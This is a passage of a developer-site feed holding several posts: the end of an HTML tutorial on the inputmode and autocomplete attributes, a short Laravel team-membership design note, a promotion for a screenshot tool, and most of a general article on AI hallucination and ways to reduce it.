&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz16me3um3f02o0q8hs28.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz16me3um3f02o0q8hs28.png" width="800" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On iOS, when this is set and an SMS with a code arrives, the keyboard automatically surfaces a one-tap option to fill it in. That entire copy-and-paste flow collapses into a single tap because the browser understands what the field needs.&lt;/p&gt;

&lt;h3&gt;
  
  
  inputmode
&lt;/h3&gt;

&lt;p&gt;When a user taps an input on mobile, a keyboard appears. Which keyboard appears is something you can control.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flxamfmh9e4g4dmeqiwja.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flxamfmh9e4g4dmeqiwja.png" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;inputmode&lt;/code&gt; tells the browser which virtual keyboard to show. It does not change validation or field behavior, only the keyboard. This makes it more flexible than changing the &lt;code&gt;type&lt;/code&gt; attribute, which affects both.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Digits only, without type="number" side effects --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"numeric"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Digits plus decimal point, right for prices --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"decimal"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Telephone keypad with * and # --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"tel"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Email keyboard with @ shortcut --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- URL keyboard with / and .com --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"url"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Search keyboard, enter key labeled Search --&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"search"&lt;/span&gt; &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"search"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;numeric&lt;/code&gt; and &lt;code&gt;decimal&lt;/code&gt; are the ones people mix up most often. &lt;code&gt;numeric&lt;/code&gt; shows digits 0 to 9 only. &lt;code&gt;decimal&lt;/code&gt; adds a decimal separator. Use &lt;code&gt;decimal&lt;/code&gt; for prices and measurements, &lt;code&gt;numeric&lt;/code&gt; for PINs, postal codes, and verification codes.&lt;/p&gt;

&lt;p&gt;Here is what a complete credit card field looks like when &lt;code&gt;autocomplete&lt;/code&gt; and &lt;code&gt;inputmode&lt;/code&gt; work together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;  &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt;  &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"cc-number"&lt;/span&gt;  &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"numeric"&lt;/span&gt;  &lt;span class="na"&gt;pattern=&lt;/span&gt;&lt;span class="s"&gt;"[0-9\s]{13,19}"&lt;/span&gt;  &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"1234 5678 9012 3456"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each attribute has a specific job. &lt;code&gt;autocomplete&lt;/code&gt; tells the browser what the field collects. &lt;code&gt;inputmode&lt;/code&gt; shows the right keyboard. &lt;code&gt;pattern&lt;/code&gt; handles validation. None of them overlap.&lt;/p&gt;

&lt;p&gt;The same approach applies to an OTP field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;  &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt;  &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"one-time-code"&lt;/span&gt;  &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"numeric"&lt;/span&gt;  &lt;span class="na"&gt;maxlength=&lt;/span&gt;&lt;span class="s"&gt;"6"&lt;/span&gt;  &lt;span class="na"&gt;pattern=&lt;/span&gt;&lt;span class="s"&gt;"\d{6}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On iOS this combination triggers automatic SMS code detection. A flow that used to require switching apps and copying a code becomes one tap. The attributes are doing all the work.&lt;/p&gt;

&lt;h3&gt;
  
  
  What connects all four
&lt;/h3&gt;

&lt;p&gt;None of them need JavaScript. None of them change how your page looks. They are pieces of information you give the browser so it can make better decisions for your users.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;loading&lt;/code&gt; controls when a resource is fetched. &lt;code&gt;fetchpriority&lt;/code&gt; controls how urgently it is fetched. &lt;code&gt;autocomplete&lt;/code&gt; tells the browser what data a field expects. &lt;code&gt;inputmode&lt;/code&gt; tells it which keyboard fits that data.&lt;/p&gt;

&lt;p&gt;Small additions. Real impact.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The WHATWG Living Standard lists every valid *`*autocomplete&lt;/em&gt;`* value. If you build forms regularly, the full list is worth a look.*&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;Did you learn something good today as a developer?&lt;br&gt;
Then show some love.&lt;br&gt;
© &lt;a href="https://www.linkedin.com/in/muhammad-usman-strategist/" rel="noopener noreferrer"&gt;Muhammad Usman&lt;/a&gt;&lt;br&gt;
WordPress Developer | Website Strategist | SEO Specialist&lt;br&gt;
Don’t forget to subscribe to &lt;a href="https://developersjourney.substack.com/" rel="noopener noreferrer"&gt;Developer’s Journey&lt;/a&gt; to show your support.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3jsza7m50ojhdd4yuuc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3jsza7m50ojhdd4yuuc.png" alt="Developer's Journey" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>html</category>
      <category>webdev</category>
      <category>frontend</category>
      <category>ux</category>
    </item>
    <item>
      <title>Building Teams in Laravel (Ownership &amp; Membership)</title>
      <dc:creator>Juan Carlos Padillo</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:40:25 +0000</pubDate>
      <link>https://hmpljs.forem.com/onlypads/building-teams-in-laravel-ownership-membership-5bg1</link>
      <guid>https://hmpljs.forem.com/onlypads/building-teams-in-laravel-ownership-membership-5bg1</guid>
      <description>&lt;p&gt;After setting up the basic structure of my project, I implemented the team creation flow.&lt;/p&gt;

&lt;p&gt;The idea is simple: a registered user can create a team and immediately become both the owner and a member of that team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key decision
&lt;/h2&gt;

&lt;p&gt;I separated:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ownership → stored in &lt;code&gt;teams.owner&lt;/code&gt;_id&lt;/li&gt;
&lt;li&gt;membership → stored in &lt;code&gt;team_user&lt;/code&gt; pivot table&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This allows flexibility where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a user can belong to multiple teams&lt;/li&gt;
&lt;li&gt;roles can be managed per team&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;p&gt;When registered user create a team:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A new team is stored with &lt;code&gt;owner_id&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The user is attached to &lt;code&gt;team_user&lt;/code&gt; with role = &lt;code&gt;owner&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures the creator is automatically part of the team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters
&lt;/h2&gt;

&lt;p&gt;Instead of treating the owner separately, I treat them as a member with elevated permissions&lt;/p&gt;

&lt;p&gt;This keeps relationships consistent and simplifies access control later.&lt;/p&gt;

&lt;p&gt;Next, I’ll implement the invitation system so team owners can invite other users and build actual collaboration.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>learning</category>
      <category>backend</category>
    </item>
    <item>
      <title>I built a tool to turn boring screenshots into scroll-stopping content 💻</title>
      <dc:creator>Vasudev Soni</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:39:20 +0000</pubDate>
      <link>https://hmpljs.forem.com/vasudevsoni/i-built-a-tool-to-turn-boring-screenshots-into-scroll-stopping-content-1c03</link>
      <guid>https://hmpljs.forem.com/vasudevsoni/i-built-a-tool-to-turn-boring-screenshots-into-scroll-stopping-content-1c03</guid>
      <description>&lt;p&gt;&lt;strong&gt;A few weeks ago, I noticed something:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I was shipping features and posting updates…&lt;br&gt;
but my screenshots were getting ignored.&lt;/p&gt;

&lt;p&gt;They were just boring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every time I wanted to share something, I had to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;open a design tool like canva/figma&lt;/li&gt;
&lt;li&gt;add background, spacing, shadows (which took time)&lt;/li&gt;
&lt;li&gt;export&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A 20-second task turned into 10+ minutes.&lt;/p&gt;

&lt;p&gt;So I’d skip it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The idea&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I wanted something simple like:&lt;br&gt;
Upload screenshot → Looks good automatically → Export&lt;/p&gt;

&lt;p&gt;No design skills. No setup. Just fast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I focused on&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead of adding vague features, I focused on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Speed (should feel fast)&lt;/li&gt;
&lt;li&gt;Good defaults (no tweaking needed)&lt;/li&gt;
&lt;li&gt;Clean output (ready to post)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw97lqdhe5rpezoxg53b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw97lqdhe5rpezoxg53b.png" alt="This took less than 20 seconds" width="800" height="450"&gt;&lt;/a&gt;&lt;br&gt;
☝️This took less than 20 seconds☝️&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What surprised me&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The hardest part wasn’t building it.&lt;br&gt;
It was not overbuilding it.&lt;/p&gt;

&lt;p&gt;Keeping it simple is harder than adding features.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you want to try it&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It’s live here: &lt;strong&gt;&lt;a href="https://shotlab.pro" rel="noopener noreferrer"&gt;Shotlab&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can try it for free — takes less than 30 seconds to see what it does.&lt;/p&gt;

&lt;p&gt;🎁 I'm also running a small giveaway on X - 5 random people get free lifetime access (Checkout pinned post here - &lt;strong&gt;&lt;a href="https://x.com/vasudevsoni2001" rel="noopener noreferrer"&gt;Vasudev's X&lt;/a&gt;&lt;/strong&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I learned&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Small problems are worth solving&lt;/li&gt;
&lt;li&gt;Speed beats features&lt;/li&gt;
&lt;li&gt;Most tools are overcomplicated&lt;/li&gt;
&lt;li&gt;Shipping &amp;gt; perfecting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Signing off!&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>startup</category>
      <category>saas</category>
      <category>design</category>
    </item>
    <item>
      <title>🧠 AI Trust &amp; The Hallucination Gap: Why Smart Systems Still Get Things Wrong</title>
      <dc:creator>Rahul Joshi</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:36:08 +0000</pubDate>
      <link>https://hmpljs.forem.com/17j/ai-trust-the-hallucination-gap-why-smart-systems-still-get-things-wrong-bkj</link>
      <guid>https://hmpljs.forem.com/17j/ai-trust-the-hallucination-gap-why-smart-systems-still-get-things-wrong-bkj</guid>
      <description>&lt;p&gt;Let’s cut through the hype.&lt;/p&gt;

&lt;p&gt;AI today can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Write production-ready code&lt;/li&gt;
&lt;li&gt;Summarize complex research papers&lt;/li&gt;
&lt;li&gt;Act like a domain expert in seconds&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And yet…&lt;/p&gt;

&lt;p&gt;It can also:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Invent facts&lt;/li&gt;
&lt;li&gt;Misquote sources&lt;/li&gt;
&lt;li&gt;Generate completely false but &lt;em&gt;convincing&lt;/em&gt; answers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This contradiction isn’t random. It’s structural.&lt;/p&gt;

&lt;p&gt;Welcome to the &lt;strong&gt;Hallucination Gap&lt;/strong&gt; — one of the most critical challenges in modern AI.&lt;/p&gt;




&lt;h2&gt;
  
  
  🤖 What Exactly is the Hallucination Gap?
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Hallucination Gap&lt;/strong&gt; is the mismatch between:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Perceived reliability (how correct AI sounds)&lt;/strong&gt;&lt;br&gt;
vs&lt;br&gt;
&lt;strong&gt;Actual reliability (how correct it really is)&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Unlike traditional software:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A calculator is either right or wrong&lt;/li&gt;
&lt;li&gt;A database either returns correct data or errors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But AI?&lt;br&gt;
It operates in probabilities — not certainties.&lt;/p&gt;




&lt;h2&gt;
  
  
  📊 The Data Behind the Problem
&lt;/h2&gt;

&lt;p&gt;Let’s ground this with real observations from industry and research:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Large Language Models (LLMs) can produce &lt;strong&gt;factually incorrect answers in 15–30% of open-ended queries&lt;/strong&gt;, depending on domain complexity&lt;/li&gt;
&lt;li&gt;In legal and medical contexts, hallucination rates can be &lt;strong&gt;even higher due to ambiguity and outdated training data&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Studies have shown AI can generate &lt;strong&gt;completely fabricated citations&lt;/strong&gt; that &lt;em&gt;look legitimate but don’t exist&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Even advanced models struggle with &lt;strong&gt;long-tail knowledge&lt;/strong&gt; (rare, niche, or recent information)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In other words:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The model doesn’t “fail loudly” — it fails &lt;em&gt;confidently&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  ⚠️ Why Hallucinations Happen (Technical Breakdown)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. 🧩 Probabilistic Text Generation
&lt;/h3&gt;

&lt;p&gt;LLMs are trained to predict the next token using probability distributions.&lt;/p&gt;

&lt;p&gt;They optimize for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fluency&lt;/li&gt;
&lt;li&gt;Coherence&lt;/li&gt;
&lt;li&gt;Likelihood&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Not for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Truth&lt;/li&gt;
&lt;li&gt;Accuracy&lt;/li&gt;
&lt;li&gt;Verification&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. 📚 Static Training Data
&lt;/h3&gt;

&lt;p&gt;Most models are trained on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Large but &lt;strong&gt;finite datasets&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Snapshots of the internet at a given time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This leads to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Outdated knowledge&lt;/li&gt;
&lt;li&gt;Missing context&lt;/li&gt;
&lt;li&gt;Bias propagation&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3. 🔍 Lack of Ground Truth Validation
&lt;/h3&gt;

&lt;p&gt;Unless explicitly designed (e.g., RAG systems), models:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do not query real-time databases&lt;/li&gt;
&lt;li&gt;Do not verify claims before responding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They generate first, &lt;em&gt;not&lt;/em&gt; validate.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. 🎯 Objective Function Misalignment
&lt;/h3&gt;

&lt;p&gt;Training objective:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Maximize likelihood of correct-seeming responses&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Real-world need:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Maximize factual correctness&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;These are not the same.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. 🧠 Overgeneralization
&lt;/h3&gt;

&lt;p&gt;AI often:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fills gaps using patterns&lt;/li&gt;
&lt;li&gt;Blends similar concepts&lt;/li&gt;
&lt;li&gt;“Completes” missing information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This leads to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fabricated details&lt;/li&gt;
&lt;li&gt;Misleading generalizations&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧪 Real-World Failures
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ⚖️ Legal Industry
&lt;/h3&gt;

&lt;p&gt;Lawyers have submitted AI-generated case references that &lt;strong&gt;never existed&lt;/strong&gt;, leading to court sanctions.&lt;/p&gt;

&lt;h3&gt;
  
  
  🏥 Healthcare
&lt;/h3&gt;

&lt;p&gt;AI systems have suggested incorrect treatments when prompts lacked sufficient context.&lt;/p&gt;

&lt;h3&gt;
  
  
  💻 Software Development
&lt;/h3&gt;

&lt;p&gt;Code assistants:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Recommend deprecated APIs&lt;/li&gt;
&lt;li&gt;Suggest insecure implementations&lt;/li&gt;
&lt;li&gt;Generate non-functional logic that &lt;em&gt;looks correct&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📉 The Trust Paradox
&lt;/h2&gt;

&lt;p&gt;Here’s the dangerous dynamic:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;AI Capability ↑&lt;/th&gt;
&lt;th&gt;Human Trust ↑&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hallucinations ↓ (but not zero)&lt;/td&gt;
&lt;td&gt;Detection ↓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;As models improve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Errors become &lt;em&gt;harder to spot&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Users rely on them more&lt;/li&gt;
&lt;li&gt;Verification decreases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates a &lt;strong&gt;false sense of reliability&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🛠️ Measurable Ways to Reduce Hallucination
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ✅ 1. Retrieval-Augmented Generation (RAG)
&lt;/h3&gt;

&lt;p&gt;Instead of relying purely on memory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Retrieve documents from trusted sources&lt;/li&gt;
&lt;li&gt;Inject them into the prompt&lt;/li&gt;
&lt;li&gt;Generate grounded responses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Significant drop in hallucination rates&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  ✅ 2. Tool Use &amp;amp; API Integration
&lt;/h3&gt;

&lt;p&gt;Connect models to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Databases&lt;/li&gt;
&lt;li&gt;Search engines&lt;/li&gt;
&lt;li&gt;Internal systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This shifts AI from:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Guessing” → “Looking up”&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  ✅ 3. Human-in-the-Loop (HITL)
&lt;/h3&gt;

&lt;p&gt;For high-stakes systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finance&lt;/li&gt;
&lt;li&gt;Healthcare&lt;/li&gt;
&lt;li&gt;Legal&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Human validation is &lt;em&gt;non-negotiable&lt;/em&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  ✅ 4. Evaluation Metrics
&lt;/h3&gt;

&lt;p&gt;Use structured benchmarks like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Truthfulness scoring&lt;/li&gt;
&lt;li&gt;Factual consistency checks&lt;/li&gt;
&lt;li&gt;Hallucination rate tracking&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you don’t measure it, you can’t fix it.&lt;/p&gt;




&lt;h3&gt;
  
  
  ✅ 5. Prompt Constraints
&lt;/h3&gt;

&lt;p&gt;Better prompts = fewer hallucinations&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;p&gt;❌ “Explain AI in detail”&lt;br&gt;
✅ “Explain AI hallucination with 3 real-world examples and limitations”&lt;/p&gt;




&lt;h3&gt;
  
  
  ✅ 6. Model Fine-Tuning &amp;amp; Guardrails
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Reinforcement Learning with Human Feedback (RLHF)&lt;/li&gt;
&lt;li&gt;Safety filters&lt;/li&gt;
&lt;li&gt;Domain-specific tuning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These reduce — but don’t eliminate — hallucinations.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 Emerging Solutions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🔹 Self-Verification Models
&lt;/h3&gt;

&lt;p&gt;Models that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Re-check their own outputs&lt;/li&gt;
&lt;li&gt;Compare multiple reasoning paths&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔹 Confidence Scoring
&lt;/h3&gt;

&lt;p&gt;Outputs include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Probability estimates&lt;/li&gt;
&lt;li&gt;Reliability indicators&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔹 Chain-of-Thought + Verification
&lt;/h3&gt;

&lt;p&gt;Breaking reasoning into steps and validating each step.&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 Key Insight
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Hallucination is not a “bug” — it’s a &lt;em&gt;byproduct of how AI works&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It cannot be fully removed&lt;/li&gt;
&lt;li&gt;It must be &lt;em&gt;managed&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🚀 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;We are entering a world where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AI writes code&lt;/li&gt;
&lt;li&gt;AI gives advice&lt;/li&gt;
&lt;li&gt;AI influences decisions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But trust in AI should not be &lt;strong&gt;blind&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It should be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Measured&lt;/li&gt;
&lt;li&gt;Verified&lt;/li&gt;
&lt;li&gt;Context-aware&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  ⚡ TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;AI hallucination = confident but false output&lt;/li&gt;
&lt;li&gt;Hallucination Gap = trust vs reality mismatch&lt;/li&gt;
&lt;li&gt;Caused by probabilistic generation + lack of verification&lt;/li&gt;
